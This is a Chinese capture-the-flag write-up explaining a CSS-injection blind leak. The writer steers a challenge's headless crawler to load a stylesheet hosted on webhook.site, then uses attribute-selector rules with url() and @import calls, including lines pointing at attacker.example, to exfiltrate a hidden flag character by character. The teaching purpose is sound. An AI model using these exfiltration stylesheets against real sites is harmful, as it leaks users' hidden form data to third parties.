我们用<strong>属性选择器</strong>让「value 以某个前缀开头」成为条件，条件成立就让它去请求一个带标记的 URL，
从而一个字符一个字符地把 flag「盲注」出来。</p><hr /></section>
<section><h2>2. 读题：首页在说什么<a href="#2-读题首页在说什么"><span>#</span></a></h2><p>访问首页，返回的 HTML是：</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;</span><span>html</span><span>&gt;</span></div></div><div><div><div>2</div></div><div><span>&lt;</span><span>head</span><span>&gt;</span></div></div><div><div><div>3</div></div><div><span><span>    </span></span><span>&lt;</span><span>meta</span><span> </span><span>charset</span><span>=</span><span>"utf8"</span><span> /&gt;</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>&lt;</span><span>title</span><span>&gt;CSS Game&lt;/</span><span>title</span><span>&gt;</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>&lt;</span><span>style</span><span>&gt;</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>&lt;/</span><span>style</span><span>&gt;</span></div></div><div><div><div>8</div></div><div><span>&lt;/</span><span>head</span><span>&gt;</span></div></div><div><div><div>9</div></div><div><span>&lt;</span><span>body</span><span>&gt;</span></div></div><div><div><div>10</div></div><div><span>&lt;</span><span>h1</span><span>&gt;CSS Game&lt;/</span><span>h1</span><span>&gt;</span></div></div><div><div><div>11</div></div><div><span>&lt;</span><span>p</span><span>&gt;</span></div></div><div><div><div>12</div></div><div><span><span>    </span></span><span>The flag is in &lt;</span><span>code</span><span>&gt;http://127.0.0.1:60000/flag.html&lt;/</span><span>code</span><span>&gt;</span></div></div><div><div><div>13</div></div><div><span>&lt;/</span><span>p</span><span>&gt;</span></div></div><div><div><div>14</div></div><div><span>&lt;</span><span>p</span><span>&gt;</span></div></div><div><div><div>15</div></div><div><span><span>    </span></span><span>flag.html</span></div></div><div><div><div>16</div></div><div><span>    </span><span>&lt;!--</span></div></div><div><div><div>17</div></div><div><span><span>        </span></span><span>&lt;html&gt;</span></div></div><div><div><div>18</div></div><div><span><span>            </span></span><span>&lt;link rel="stylesheet" href="${encodeURI(req.query.css)}" /&gt;</span></div></div><div><div><div>19</div></div><div><span><span>             </span></span><span>&lt;form&gt;</span></div></div><div><div><div>20</div></div><div><span><span>                </span></span><span>&lt;input name="Email" type="text" value="test"&gt;</span></div></div><div><div><div>21</div></div><div><span><span>                </span></span><span>&lt;input name="flag" type="hidden" value="202cb962ac59075b964b07152d234b70"/&gt;</span></div></div><div><div><div>22</div></div><div><span><span>                </span></span><span>&lt;input type="submit" value="提交"&gt;</span></div></div><div><div><div>23</div></div><div><span><span>            </span></span><span>&lt;/form&gt;</span></div></div><div><div><div>24</div></div><div><span><span>        </span></span><span>&lt;/html&gt;</span></div></div><div><div><div>25</div></div><div><span><span>    </span></span><span>--&gt;</span></div></div><div><div><div>26</div></div><div><span>&lt;/</span><span>p</span><span>&gt;</span></div></div><div><div><div>27</div></div><div>
</div></div><div><div><div>28</div></div><div><span>&lt;</span><span>form</span><span> </span><span>action</span><span>=</span><span>"/crawl.html"</span><span> </span><span>method</span><span>=</span><span>"post"</span><span>&gt;</span></div></div><div><div><div>29</div></div><div><span><span>    </span></span><span>http://127.0.0.1:60000/flag.html?css=&lt;</span><span>input</span><span> </span><span>type</span><span>=</span><span>"text"</span><span> </span><span>name</span><span>=</span><span>"css"</span><span> /&gt;</span></div></div><div><div><div>30</div></div><div><span><span>    </span></span><span>&lt;</span><span>input</span><span> </span><span>type</span><span>=</span><span>"submit"</span><span>/&gt;&lt;</span><span>br</span><span>&gt;&lt;</span><span>br</span><span>&gt;</span></div></div><div><div><div>31</div></div><div><span>&lt;/</span><span>form</span><span>&gt;</span></div></div><div><div><div>32</div></div><div><span>&lt;/</span><span>body</span><span>&gt;</span></div></div><div><div><div>33</div></div><div><span>&lt;/</span><span>p</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><section><h3>2.1 关键信息一：flag 在内网<a href="#21-关键信息一flag-在内网"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>The flag is in http://127.0.0.1:60000/flag.html</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><code>127.0.0.1</code> 是<strong>服务器自己的本机地址</strong>。也就是说这个页面只有服务器（以及同容器里的爬虫）能访问，
我们从外网直接请求 <code>node4.anna.nssctf.cn:60000</code> 是<strong>连不上</strong>的（实测会连接超时）：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>curl</span><span> </span><span>-v</span><span> </span><span>--max-time</span><span> </span><span>8</span><span> </span><span>http://node4.anna.nssctf.cn:60000/flag.html</span></div></div><div><div><div>2</div></div><div><span># *   Trying 1.14.71.254:60000...</span></div></div><div><div><div>3</div></div><div><span># * Connection timed out after 8010 milliseconds</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>所以 flag 不可能直接读，必须让<strong>服务器里的机器人替我们去看</strong>，再把结果想办法传出来。</p></section><section><h3>2.2 关键信息二：有个爬虫接口<a href="#22-关键信息二有个爬虫接口"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;</span><span>form</span><span> </span><span>action</span><span>=</span><span>"/crawl.html"</span><span> </span><span>method</span><span>=</span><span>"post"</span><span>&gt;</span></div></div><div><div><div>2</div></div><div><span><span>    </span></span><span>http://127.0.0.1:60000/flag.html?css=&lt;</span><span>input</span><span> </span><span>type</span><span>=</span><span>"text"</span><span> </span><span>name</span><span>=</span><span>"css"</span><span> /&gt;</span></div></div><div><div><div>3</div></div><div><span><span>    </span></span><span>&lt;</span><span>input</span><span> </span><span>type</span><span>=</span><span>"submit"</span><span>/&gt;</span></div></div><div><div><div>4</div></div><div><span>&lt;/</span><span>form</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>这说明：向 <code>/crawl.html</code> POST 一个 <code>css</code> 参数，服务器就会派一个无头浏览器去访问</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http://127.0.0.1:60000/flag.html?css=&lt;你填的东西&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>实测返回内容就是 <code>Crawling</code> 四个字：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>curl</span><span> </span><span>-s</span><span> </span><span>-i</span><span> </span><span>-X</span><span> </span><span>POST</span><span> </span><span>-d</span><span> </span><span>"css=test"</span><span> </span><span>http://node4.anna.nssctf.cn:25698/crawl.html</span></div></div><div><div><div>2</div></div><div><span># HTTP/1.1 200 OK</span></div></div><div><div><div>3</div></div><div><span># Content-Length: 8</span></div></div><div><div><div>4</div></div><div><span>#</span></div></div><div><div><div>5</div></div><div><span># Crawling</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>（注意：GET 请求 <code>/crawl.html</code> 是 404，只接受 POST。）</p></section><section><h3>2.3 关键信息三：注释里泄露了 flag.html 的真实源码<a href="#23-关键信息三注释里泄露了-flaghtml-的真实源码"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;!--</span></div></div><div><div><div>2</div></div><div><span><span>    </span></span><span>&lt;html&gt;</span></div></div><div><div><div>3</div></div><div><span><span>        </span></span><span>&lt;link rel="stylesheet" href="${encodeURI(req.query.css)}" /&gt;</span></div></div><div><div><div>4</div></div><div><span><span>         </span></span><span>&lt;form&gt;</span></div></div><div><div><div>5</div></div><div><span><span>            </span></span><span>&lt;input name="Email" type="text" value="test"&gt;</span></div></div><div><div><div>6</div></div><div><span><span>            </span></span><span>&lt;input name="flag" type="hidden" value="202cb962ac59075b964b07152d234b70"/&gt;</span></div></div><div><div><div>7</div></div><div><span><span>            </span></span><span>&lt;input type="submit" value="提交"&gt;</span></div></div><div><div><div>8</div></div><div><span><span>        </span></span><span>&lt;/form&gt;</span></div></div><div><div><div>9</div></div><div><span><span>    </span></span><span>&lt;/html&gt;</span></div></div><div><div><div>10</div></div><div><span>--&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>这就是<strong>漏洞点本身</strong>。拆开看：</p>

<table><thead><tr><th>片段</th><th>含义</th></tr></thead><tbody><tr><td><code>req.query.css</code></td><td>我们填进表单的 <code>css</code> 参数</td></tr><tr><td><code>encodeURI(...)</code></td><td>对这个参数做 URL 编码</td></tr><tr><td><code>&lt;link rel="stylesheet" href="..."&gt;</code></td><td>把结果当作<strong>样式表地址</strong>去加载</td></tr><tr><td><code>value="202cb962ac59075b964b07152d234b70"</code></td><td>隐藏输入框里的值（这只是模板里的占位值，真实页面里放的是 flag）</td></tr></tbody></table><p>结论：<strong>我们能控制页面上样式表的 URL</strong> → 这就是 CSS 注入（CSS Injection）。</p><blockquote><p>顺带一提，<code>202cb962ac59075b964b07152d234b70</code> 是字符串 <code>123</code> 的 MD5，
它是个”示例数据”，用来告诉你”这里本来是放敏感数据的”。</p></blockquote><hr /></section></section>
<section><h2>3. 零基础前置知识<a href="#3-零基础前置知识"><span>#</span></a></h2><p>这一节把后面要用到的东西全部讲清楚，可以当成小抄。</p><section><h3>3.1 HTML：标签、元素、属性<a href="#31-html标签元素属性"><span>#</span></a></h3><p>HTML 用「标签」描述页面内容：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;</span><span>input</span><span> </span><span>name</span><span>=</span><span>"flag"</span><span> </span><span>type</span><span>=</span><span>"hidden"</span><span> </span><span>value</span><span>=</span><span>"202cb962ac59075b964b07152d234b70"</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>拆解：</p><ul>
<li><code>input</code> 是<strong>标签名</strong>，整个 <code>&lt;input ...&gt;</code> 是一个<strong>元素</strong>。</li>
<li>元素里 <code>名字="值"</code> 的部分叫<strong>属性（attribute）</strong>。这里有三个属性：
<ul>
<li><code>name="flag"</code></li>
<li><code>type="hidden"</code></li>
<li><code>value="202cb962ac59075b964b07152d234b70"</code></li>
</ul>
</li>
<li><strong>重要</strong>：属性值会被浏览器原样保存在 DOM 里，所以可以用 CSS 的”属性选择器”去匹配它。
这正是我们读取 flag 的入口。</li>
</ul><p><code>&lt;form&gt;</code> 是表单，可以包含多个输入控件；<code>&lt;input type="submit"&gt;</code> 是提交按钮。
flag.html 里的三个 input 是<strong>兄弟关系</strong>（同一个 <code>&lt;form&gt;</code> 的孩子节点）。</p></section><section><h3>3.2 <code>type="hidden"</code> 是什么，为什么它很麻烦<a href="#32-typehidden-是什么为什么它很麻烦"><span>#</span></a></h3><p><code>type="hidden"</code> 表示这个输入框”隐藏”：用户看不见，也不会被渲染出来。
浏览器内置样式表（User Agent Stylesheet）里有类似这么一条规则：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>input</span><span>[</span><span>type</span><span>=</span><span>"hidden"</span><span> i]</span><span> {</span></div></div><div><div><div>2</div></div><div><span><span>    </span></span><span>display: </span><span>none</span><span> </span><span>!important</span><span>;</span></div></div><div><div><div>3</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><code>display: none</code> 的意思是<strong>这个元素不产生任何可见的盒子（不渲染）</strong>。
这对我们非常关键，因为后面会讲到：<strong>CSS 只有作用在”真正被渲染的元素”上，才会去下载图片</strong>。
所以 flag 那个输入框本身是没法直接用来发请求的，得想别的办法（第 6.3 节讲）。</p></section><section><h3>3.3 CSS 是什么，怎么被加载<a href="#33-css-是什么怎么被加载"><span>#</span></a></h3><p>CSS（层叠样式表）用来描述页面”长什么样”。最常见两种引入方式：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;!-- 内联样式：直接写在 &lt;style&gt; 里 --&gt;</span></div></div><div><div><div>2</div></div><div><span>&lt;</span><span>style</span><span>&gt;</span></div></div><div><div><div>3</div></div><div><span>  </span><span>p</span><span> { color: </span><span>red</span><span>; }</span></div></div><div><div><div>4</div></div><div><span>&lt;/</span><span>style</span><span>&gt;</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span>&lt;!-- 外部样式表：从某个 URL 下载 --&gt;</span></div></div><div><div><div>7</div></div><div><span>&lt;</span><span>link</span><span> </span><span>rel</span><span>=</span><span>"stylesheet"</span><span> </span><span>href</span><span>=</span><span>"https://example.com/a.css"</span><span> /&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>flag.html 用的是第二种。<strong>重点</strong>：<code>href</code> 指向哪儿，浏览器就会去<strong>下载哪儿的 CSS</strong>，
所以只要我们能控制 <code>href</code>，就能让浏览器执行我们写的任意 CSS。</p><p>一条 CSS 规则长这样：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>选择器</span><span> {</span></div></div><div><div><div>2</div></div><div><span><span>    </span></span><span>属性: 值;</span></div></div><div><div><div>3</div></div><div><span><span>    </span></span><span>属性: 值;</span></div></div><div><div><div>4</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>例如 <code>p { color: red; }</code> 的意思是：所有 <code>&lt;p&gt;</code> 元素，文字变红色。</p></section><section><h3>3.4 选择器：怎么”选中”元素<a href="#34-选择器怎么选中元素"><span>#</span></a></h3><p>最常用的几种：</p>

<table><thead><tr><th>写法</th><th>名字</th><th>含义</th><th>例子</th></tr></thead><tbody><tr><td><code>p</code></td><td>类型选择器</td><td>所有 <code>&lt;p&gt;</code></td><td><code>p { color: red }</code></td></tr><tr><td><code>.cls</code></td><td>类选择器</td><td><code>class="cls"</code> 的元素</td><td><code>.box { ... }</code></td></tr><tr><td><code>#id</code></td><td>ID 选择器</td><td><code>id="xxx"</code> 的元素</td><td><code>#main { ... }</code></td></tr><tr><td><code>[name=flag]</code></td><td>属性选择器</td><td>有 <code>name="flag"</code> 属性的元素</td><td><code>input[name=flag] { ... }</code></td></tr></tbody></table><p><strong>属性选择器</strong>还有几个”模糊匹配”的变体，这就是我们读 flag 的核心工具：</p>

<table><thead><tr><th>写法</th><th>含义</th></tr></thead><tbody><tr><td><code>[value="abc"]</code></td><td>value <strong>恰好等于</strong> <code>abc</code></td></tr><tr><td><code>[value^="abc"]</code></td><td>value <strong>以</strong> <code>abc</code> <strong>开头</strong></td></tr><tr><td><code>[value$="abc"]</code></td><td>value <strong>以</strong> <code>abc</code> <strong>结尾</strong></td></tr><tr><td><code>[value*="abc"]</code></td><td>value <strong>包含</strong> <code>abc</code></td></tr></tbody></table><p>另外还有<strong>组合器</strong>，用来描述元素之间的位置关系（比如”在它后面的兄弟”）：</p>

<table><thead><tr><th>写法</th><th>名字</th><th>含义</th></tr></thead><tbody><tr><td><code>A B</code></td><td>后代</td><td>A 里面的所有 B</td></tr><tr><td><code>A &gt; B</code></td><td>子代</td><td>A 的直接子元素 B</td></tr><tr><td><code>A + B</code></td><td>相邻兄弟</td><td><strong>紧跟</strong>在 A 后面的那一个 B</td></tr><tr><td><code>A ~ B</code></td><td>一般兄弟</td><td>A 后面的<strong>所有</strong> B</td></tr></tbody></table><p>举个和本题完全对应的例子。flag.html 的 DOM 结构（浏览器把 <code>&lt;html&gt;</code> 下的东西自动整理后）大致是：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;html&gt;</span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>&lt;head&gt;</span></div></div><div><div><div>3</div></div><div><span><span>    </span></span><span>&lt;link rel="stylesheet" href="..."&gt;</span></div></div><div><div><div>4</div></div><div><span><span>  </span></span><span>&lt;/head&gt;</span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>&lt;body&gt;</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>&lt;form&gt;</span></div></div><div><div><div>7</div></div><div><span><span>      </span></span><span>&lt;input name="Email" type="text" value="test"&gt;      &lt;!-- 1 --&gt;</span></div></div><div><div><div>8</div></div><div><span><span>      </span></span><span>&lt;input name="flag"  type="hidden" value="flag{...}"&gt; &lt;!-- 2 --&gt;</span></div></div><div><div><div>9</div></div><div><span><span>      </span></span><span>&lt;input type="submit" value="提交"&gt;                  &lt;!-- 3 --&gt;</span></div></div><div><div><div>10</div></div><div><span><span>    </span></span><span>&lt;/form&gt;</span></div></div><div><div><div>11</div></div><div><span><span>  </span></span><span>&lt;/body&gt;</span></div></div><div><div><div>12</div></div><div><span>&lt;/html&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>那么：</p><ul>
<li><code>input[name=flag] ~ input[type=submit]</code> 选中的是 <strong>第 3 个元素（提交按钮）</strong>，
条件是”它前面有一个 name=flag 的 input”。</li>
<li><code>input[name=flag] + input[type=submit]</code> 选中的是”紧跟在 flag 输入框后面的兄弟”，
但紧跟着的是”提交按钮”吗？不是——第 2 个后面的兄弟就是第 3 个，所以这里 <code>+</code> 其实也能用；
不过 <code>~</code> 更保险（万一中间还夹了别的元素）。</li>
</ul></section><section><h3>3.5 层叠与优先级（specificity）——利用手法的关键<a href="#35-层叠与优先级specificity利用手法的关键"><span>#</span></a></h3><p>同一个元素、同一个 CSS 属性，如果被多条规则同时命中，<strong>只会有一个值生效</strong>。谁生效的规则是：</p><ol>
<li>先看 <code>!important</code>（本题用不到）；</li>
<li>再看<strong>优先级</strong>（specificity），高的赢；</li>
<li>优先级相同时，<strong>写在后面的赢</strong>。</li>
</ol><p>优先级的算法是一个三元组 <code>(ID 数量, 类/属性/伪类数量, 元素/伪元素数量)</code>，逐位比较。</p><p>用本题的两条规则算一下：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>/* 心跳规则：2 个元素 + 1 个属性 + 1 个元素 = (0, 2, 2) */</span></div></div><div><div><div>2</div></div><div><span>input</span><span>[</span><span>type</span><span>=</span><span>hidden</span><span>] </span><span>~</span><span> </span><span>input</span><span>[</span><span>type</span><span>=</span><span>submit</span><span>]</span><span> { background-image: </span><span>url</span><span><span>(</span><span>.../hb</span><span>) }</span></span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>/* 候选规则：2 个元素 + 2 个属性 + 1 个元素 = (0, 3, 2) ← 更高 */</span></div></div><div><div><div>5</div></div><div><span>input</span><span>[</span><span>type</span><span>=</span><span>hidden</span><span>][</span><span>value</span><span>^=</span><span>"flag{a"</span><span>] </span><span>~</span><span> </span><span>input</span><span>[</span><span>type</span><span>=</span><span>submit</span><span>]</span><span> { background-image: </span><span>url</span><span><span>(</span><span>.../61</span><span>) }</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><code>(0,3,2) &gt; (0,2,2)</code>，所以<strong>只要候选规则命中，它就一定压过心跳规则</strong>。
我们正是靠这个性质来判断”这一位到底是不是这个字符”。</p></section><section><h3>3.6 CSS 里怎么”发网络请求”<a href="#36-css-里怎么发网络请求"><span>#</span></a></h3><p>CSS 里能触发 HTTP 请求的写法有很多，最常用的两种：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>/* 1. 直接写 url()，浏览器会去下载这个资源 */</span></div></div><div><div><div>2</div></div><div><span>input</span><span>[</span><span>type</span><span>=</span><span>submit</span><span>]</span><span> { background-image: </span><span>url</span><span>(</span><span>"https://attacker.example/pixel.png"</span><span>); }</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>/* 2. @import：再引入一份 CSS */</span></div></div><div><div><div>5</div></div><div><span>@import</span><span> </span><span>url</span><span>(</span><span>"https://attacker.example/more.css"</span><span>);</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>可以放 <code>url()</code> 的属性非常多，例如：</p><p><code>background-image</code>、<code>border-image-source</code>、<code>list-style-image</code>、<code>mask-image</code>、<code>cursor</code>、<code>@font-face</code> 的 <code>src</code> 等等。</p><p><strong>但有一个大前提</strong>：这个元素必须<strong>真的被渲染</strong>。</p><ul>
<li>如果元素是 <code>display: none</code>（比如 <code>type="hidden"</code> 的 input），
那么写在它身上的 <code>background-image</code> <strong>根本不会去下载</strong>。</li>
<li>所以必须把请求”挂”到一个可见元素上。</li>
</ul></section><section><h3>3.7 盲注 / XS-Leak 的核心思想<a href="#37-盲注--xs-leak-的核心思想"><span>#</span></a></h3><p>我们看不到 flag.html 的内容，但我们能看到<strong>自己服务器收到的请求</strong>。于是：</p><blockquote><p>把”flag 的第 i 位是不是字符 c”变成一个 <strong>CSS 条件</strong>；
条件成立 → 浏览器去请求 <code>https://我们的服务器/mark_&lt;i&gt;_&lt;c&gt;</code>；
条件不成立 → 什么都不发（或发别的东西）。</p></blockquote><p>我们服务器日志里出现哪个标记，就说明哪个猜测成立。</p><p>这就是<strong>盲注</strong>（blind injection）在浏览器侧的表现，也常被叫做 <strong>XS-Leak</strong>（跨站泄露）。
和 SQL 盲注的思路一模一样：看不见数据，就用”有回显/无回显”当 0/1。</p><hr /></section></section>
<section><h2>4. 攻击思路是怎么想出来的<a href="#4-攻击思路是怎么想出来的"><span>#</span></a></h2><p>把上面所有信息串起来，思路就自然出现了：</p><ol>
<li><code>css</code> 参数被拼进 <code>&lt;link href&gt;</code> → 我能提供一份<strong>自己写的 CSS</strong>。</li>
<li>flag 在 <code>input[name=flag]</code> 的 <code>value</code> 属性里 → 我可以用<strong>属性选择器</strong>判断它的前缀。</li>
<li>CSS 里 <code>url()</code> 能发请求 → 我可以让”前缀猜对”这件事变成一次 HTTP 请求。</li>
<li>flag 有 44 个字符 → 那就一位一位猜：先猜第 1 位，猜对了再猜第 2 位……</li>
<li>我看不到页面，但我能看自己服务器的日志 → 用日志当”回显”。</li>
</ol><p>剩下的工作只有两处细节：</p><ul>
<li>我<strong>没有公网服务器</strong>，怎么收请求？（第 5 节：用 webhook.site）</li>
<li>flag 输入框是 <code>hidden</code>，不能直接挂图片，怎么办？（第 6.3 节：用兄弟选择器打提交按钮）</li>
</ul><hr /></section>
<section><h2>5. 搭建外带/托管通道<a href="#5-搭建外带托管通道"><span>#</span></a></h2><section><h3>5.1 一个自然的想法：能不能直接内联写 CSS？<a href="#51-一个自然的想法能不能直接内联写-css"><span>#</span></a></h3><p><code>href="${encodeURI(req.query.css)}"</code> 里，参数只被当作<strong>一个 URL</strong>。
那么能不能用 <code>data:</code> URL 把 CSS 直接塞进去？比如：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>?css=data:text/css,@import url(https://my.server/leak);</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>我在靶机上实测过：<strong>没有收到任何回调</strong>，说明 <code>data:</code> 形式的样式表被浏览器拦掉了（参考第 10.1 节）。</p><p>所以结论是：<strong>必须自己托管一份 CSS，然后把 URL 交给机器人</strong>。</p></section><section><h3>5.2 为什么选 webhook.site<a href="#52-为什么选-webhooksite"><span>#</span></a></h3><p>我们需要一个满足三点的服务：</p><ol>
<li>公网可访问（机器人能连上，且<strong>你的浏览器/靶机都能连上</strong>）；</li>
<li>能<strong>自定义返回内容</strong>——我们要随时更换 CSS 内容；</li>
<li>能<strong>查看请求日志</strong>——这就是我们的”回显”。</li>
</ol><p><a href="https://webhook.site" target="_blank">webhook.site</a> 正好三样都有（免费、无需注册）：</p><ul>
<li><code>POST https://webhook.site/token</code> → 生成一个专属 token（UUID）；</li>
<li><code>PUT https://webhook.site/token/&lt;uuid&gt;</code> → 设置”默认响应”的内容和 MIME 类型；</li>
<li><code>https://webhook.site/&lt;uuid&gt;/任意路径</code> → 任何对该地址的请求都会被记录下来；</li>
<li><code>GET https://webhook.site/token/&lt;uuid&gt;/requests</code> → 拉取请求日志（JSON）。</li>
</ul></section><section><h3>5.3 第一步：创建 token 并设置响应内容<a href="#53-第一步创建-token-并设置响应内容"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 1) 创建 token</span></div></div><div><div><div>2</div></div><div><span>curl</span><span> </span><span>-s</span><span> </span><span>-X</span><span> </span><span>POST</span><span> </span><span>https://webhook.site/token</span></div></div><div><div><div>3</div></div><div><span># {"uuid":"8f4706fc-....","redirect":true,...}</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span># 2) 把默认响应设置成我们的 CSS，并且把 MIME 类型设为 text/css</span></div></div><div><div><div>6</div></div><div><span>curl</span><span> </span><span>-s</span><span> </span><span>-X</span><span> </span><span>PUT</span><span> </span><span>https://webhook.site/token/8bd811ec-6830-4dde-85eb-8796f44d24c1</span><span> </span><span>\</span></div></div><div><div><div>7</div></div><div><span>     </span><span>-H</span><span> </span><span>"Content-Type: application/json"</span><span> </span><span>\</span></div></div><div><div><div>8</div></div><div><span>     </span><span>-d</span><span> </span><span>'{"default_content":"@import url(https://webhook.site/8bd811ec-6830-4dde-85eb-8796f44d24c1/fromcss);",</span></div></div><div><div><div>9</div></div><div><span><span>          </span></span><span>"default_content_type":"text/css"}'</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>MIME 必须是 <code>text/css</code></strong>。浏览器对跨域样式表有”严格 MIME 检查”：
如果返回头是 <code>text/plain</code> 或 <code>text/html</code>，浏览器会在控制台报
<code>Refused to apply style ... because its MIME type ... is not a supported stylesheet MIME type</code>
然后<strong>直接忽略这份样式表</strong>，我们就什么都收不到了。</p></section><section><h3>5.4 第二步：确认爬虫真的能出网<a href="#54-第二步确认爬虫真的能出网"><span>#</span></a></h3><p>把 <code>css</code> 指向我们的 webhook，然后看日志：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>curl</span><span> </span><span>-s</span><span> </span><span>-X</span><span> </span><span>POST</span><span> </span><span>--data-urlencode</span><span> </span><span>"css=https://webhook.site/8bd811ec-6830-4dde-85eb-8796f44d24c1/test1"</span><span> </span><span>\</span></div></div><div><div><div>2</div></div><div><span>     </span><span>http://node4.anna.nssctf.cn:25698/crawl.html</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p></p><figure><img src="/images/uploads/20260923-151310-99d94e.png" alt="2026-09-23_15-12-56.png" /><figcaption>2026-09-23_15-12-56.png</figcaption></figure>
日志里出现了（节选）：<p></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>{</span></div></div><div><div><div>2</div></div><div><span>  </span><span>"method"</span><span>: </span><span>"GET"</span><span>,</span></div></div><div><div><div>3</div></div><div><span>  </span><span>"user_agent"</span><span>: </span><span>"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/78.0.3882.0 Safari/537.36"</span><span>,</span></div></div><div><div><div>4</div></div><div><span>  </span><span>"headers"</span><span>: {</span></div></div><div><div><div>5</div></div><div><span>    </span><span>"referer"</span><span>: [</span><span>"http://127.0.0.1:60000/flag.html?css=https://webhook.site/8bd811ec-6830-4dde-85eb-8796f44d24c1/test1"</span><span>],</span></div></div><div><div><div>6</div></div><div><span>    </span><span>"accept"</span><span>: [</span><span>"text/css,*/*;q=0.1"</span><span>]</span></div></div><div><div><div>7</div></div><div><span><span>  </span></span><span>},</span></div></div><div><div><div>8</div></div><div><span>  </span><span>"url"</span><span>: </span><span>"https://webhook.site/8bd811ec-6830-4dde-85eb-8796f44d24c1/test1"</span></div></div><div><div><div>9</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>这三次信息量很大：</p><ul>
<li><code>user_agent</code> 里有 <strong>HeadlessChrome/78</strong> → 是靶机派出的无头浏览器，不是我们自己的请求；</li>
<li><code>referer</code> 是 <code>http://127.0.0.1:60000/flag.html?css=...</code> → <strong>证明它确实访问了内网 flag.html</strong>，而且把我们给的地址当作样式表加载了；</li>
<li><code>accept: text/css</code> → 浏览器把它当样式表请求。</li>
</ul><p>结论：<strong>链路通了</strong>，爬虫能出网、能加载我们的 CSS，我们能读到日志。</p></section><section><h3>5.5 第三步：验证 CSS 真的被执行<a href="#55-第三步验证-css-真的被执行"><span>#</span></a></h3><p>光”下载了 CSS”还不够，我们要确认浏览器<strong>执行</strong>了里面的规则。把默认内容设为：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>@import</span><span> </span><span>url</span><span><span>(</span><span>https://webhook.site/8bd811ec-6830-4dde-85eb-8796f44d24c1/fromcss</span><span>);</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><p></p><figure><img src="/images/uploads/20260923-152548-359973.png" alt="2026-09-23_15-22-41.png" /><figcaption>2026-09-23_15-22-41.png</figcaption></figure><p></p><p>然后再触发一次爬虫，日志里出现了 <code>/fromcss</code> 这条请求 → CSS 里的 <code>@import</code> 生效了。
至此”发 payload → 浏览器执行 → 我们看到回显”的完整闭环打通。</p><hr /></section></section>
<section><h2>6. 写出第一个能用的 payload<a href="#6-写出第一个能用的-payload"><span>#</span></a></h2><section><h3>6.1 先验证属性选择器能读到属性值<a href="#61-先验证属性选择器能读到属性值"><span>#</span></a></h3><p>页面里 <code>Email</code> 输入框的值是固定的 <code>test</code>，是很好的”试验品”。我们写：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>input</span><span>[</span><span>type</span><span>=</span><span>submit</span><span>]</span><span>{background-image:</span><span>url</span><span><span>(</span><span>https://webhook.site/&lt;uuid&gt;/g/hb</span><span>)}</span></span></div></div><div><div><div>2</div></div><div><span>input</span><span>[</span><span>value</span><span>^=</span><span>"te"</span><span>] </span><span>~</span><span> 